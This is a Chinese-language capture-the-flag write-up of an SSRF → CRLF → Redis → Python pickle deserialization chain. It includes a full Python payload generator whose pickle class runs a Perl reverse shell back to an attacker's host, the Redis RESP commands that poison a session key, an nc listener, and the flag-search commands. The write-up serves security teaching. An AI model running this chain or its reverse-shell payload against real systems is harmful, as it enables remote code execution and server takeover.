一、题目概述
题目提示: 还记得SSRF+CRLF+Python反序列化漏洞吗
难度等级: 中高级
涉及知识点:
- SSRF(Server-Side Request Forgery)服务端请求伪造
- CRLF(Carriage Return Line Feed)注入
- Python Pickle反序列化漏洞
- Redis未授权访问
- Gopher协议利用
二、漏洞原理分析
2.1 SSRF漏洞原理
SSRF(服务端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。攻击者可以利用SSRF漏洞:
- 探测内网端口和服务(如127.0.0.1)
- 利用特殊协议(如gopher、file、dict)与内部服务交互
- 绕过防火墙限制
- 攻击内网其他服务
本题场景: 应用提供了"Web Page Fetch"功能,允许用户输入URL后由服务器直接访问该地址,这是典型的SSRF漏洞场景。
2.2 CRLF注入原理
CRLF(Carriage Return Line Feed,即\r\n)是HTTP协议中的换行符。在某些场景下,攻击者可以通过注入CRLF字符来:
- 分割HTTP请求/响应
- 构造恶意的协议命令
- 绕过协议限制向Redis等服务发送命令
\r\n(CR+LF)在HTTP协议中用于分隔请求头,通过注入\r\n可以截断当前请求,插入新的请求内容。
URL编码中,%0D代表\r,%0A代表\n
关键技巧: 使用双CRLF(%0D%0D%0A)可以更可靠地绕过某些过滤机制。
2.3 Python Pickle反序列化漏洞
Python的pickle模块用于对象序列化,但存在严重的安全风险。通过重写__reduce__方法,可以在反序列化时执行任意代码:
python
class exp(dict):
def __reduce__(self):
# __reduce__ 方法在反序列化时会被自动调用
# 可以返回一个可调用对象和参数元组
cmd = "恶意命令"
return (eval, ('__import__("os").system(%s) or {}' % repr(cmd),))
当服务端使用pickle.loads()加载攻击者控制的数据时,就会触发RCE。
原理说明:
__reduce__方法定义了对象如何被序列化和反序列化- 返回的元组
(callable, args)会在反序列化时执行callable(*args) - 利用
eval函数可以执行任意Python代码 __import__("os").system(cmd)执行系统命令or {}确保返回一个空字典,满足类型要求
2.4 Redis Session存储机制
许多Web应用使用Redis存储Session数据:
- Session数据以键值对形式存储在Redis中
- 通常格式为:
session:{session_id}->序列化的Session数据 - 如果Session数据使用Pickle序列化,则存在反序列化漏洞风险
三、攻击流程详解
3.1 初步侦查

访问目标实例,发现登录页面。随意输入用户名即可进入"Web Page Fetch"功能页面。

功能分析:
- 接受用户输入的URL
- 服务器端直接访问该URL
- 存在明显的SSRF漏洞
3.2 端口扫描
利用Gopher协议配合BurpSuite进行内网端口探测。

Gopher协议特点:
- 可以构造任意TCP数据包
- 格式:
gopher://host:port/_payload - 适合用于SSRF攻击内网服务
扫描结果: 发现6379端口开放Redis服务

3.3 构造恶意Pickle Payload
使用Python 2编写脚本生成恶意载荷:
python
# coding: utf-8
import cPickle as cpickle
import urllib
import base64
class exp(dict):
def __reduce__(self):
# 使用Perl构造反弹shell
cmd = """perl -e 'use Socket;$i="你的公网地址";$p=端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'"""
# eval执行命令后返回空字典
return (eval, ('__import__("os").system(%s) or {}' % repr(cmd),))
e = exp()
pickle_payload = cpickle.dumps(e)
# Base64编码便于传输
base64_payload = base64.b64encode(pickle_payload)
session_key = 'session:1'
# 构造Redis SET命令(清空原有数据)
clear_cmd = '*3\r\n$3\r\nSET\r\n$9\r\n%s\r\n$0\r\n' % session_key
# 构造Redis APPEND命令(写入恶意payload)
append_cmd = '*3\r\n$6\r\nAPPEND\r\n$9\r\n%s\r\n$%d\r\n%s\r\n' % (session_key, len(base64_payload), base64_payload)
# 使用双CRLF技巧绕过过滤
base_url = 'http://127.0.0.1:6379/_%0D%0D%0A'
# 生成最终URL
clear_url = base_url + urllib.quote(clear_cmd)
append_url = base_url + urllib.quote(append_cmd)
print(clear_url) # Payload 1: 清空session
print(append_url) # Payload 2: 写入恶意数据
脚本解析:
- 恶意类定义: 创建继承自dict的exp类,重写
__reduce__方法 - 反弹shell命令: 使用Perl one-liner构造反弹shell
- Pickle序列化: 将恶意对象序列化为二进制数据
- Base64编码: 避免特殊字符问题
- Redis协议构造:
*3- 3个参数$3- 第一个参数长度为3\r\n- 参数分隔符
- 双CRLF: 双CRLF
%0D%0D%0A技巧绕过HTTP请求头限制
3.4 注入恶意Payload
步骤一:清空Redis中的session:1键
访问第一个payload URL(clear_url)
作用:将session:1设置为空字符串
步骤二:写入恶意序列化数据
访问第二个payload URL(append_url)
作用:将Base64编码的恶意Pickle数据追加到session:1
3.5 监听反弹Shell
在公网服务器上监听指定端口:
bash
nc -lvnp 8889

参数说明:
-l- 监听模式-v- 详细输出-n- 不进行DNS解析-p- 指定端口
3.6 触发反序列化
关键步骤:
-
打开浏览器开发者工具(F12)
-
找到Cookie中的session字段
-
将session值修改为
1 -
刷新页面

触发原理:
- 服务器收到请求后从Redis读取
session:1 - 对读取的数据进行Pickle反序列化
- 触发
__reduce__方法执行 - 执行反弹shell命令
3.7 获取Flag
成功获得反弹shell后:
bash
# 尝试查找flag文件
find / -name "flag*" 2>/dev/null
cat /flag
# 如果根目录没有flag,检查环境变量
env

最终结果: 在环境变量中找到flag
四、攻击链总结
SSRF漏洞
↓
内网端口探测(Gopher协议)
↓
发现Redis服务(6379端口)
↓
CRLF注入 + Redis协议注入
↓
写入恶意Pickle序列化数据
↓
修改Session ID触发反序列化
↓
执行恶意代码(反弹shell)
↓
获取服务器权限
↓
读取Flag
五、关键技术点
5.1 Redis协议格式(RESP)
Redis使用RESP(REdis Serialization Protocol)协议:
*<参数数量>
$<参数1长度>
<参数1内容>
$<参数2长度>
<参数2内容>
...
示例: SET session:1 "data"
*3\r\n
$3\r\n
SET\r\n
$9\r\n
session:1\r\n
$4\r\n
data\r\n
5.2 Gopher协议在SSRF中的应用
Gopher协议格式:gopher://host:port/_payload
注意事项:
- payload需要URL编码
\r\n需要编码为%0D%0A- 下划线
_后面的内容会被发送到目标端口
六、总结
这道题目非常精彩,但是有个疑问,为什么都能控制Redis了,不直接使用最经典的攻击方式------写入crontab任务计划。
因为在Ubuntu中,Redis通常以redis用户运行 ,redis用户的crontab位置:/var/spool/cron/crontabs/redis,该目录需要root权限才能写入。centos或许没有这个问题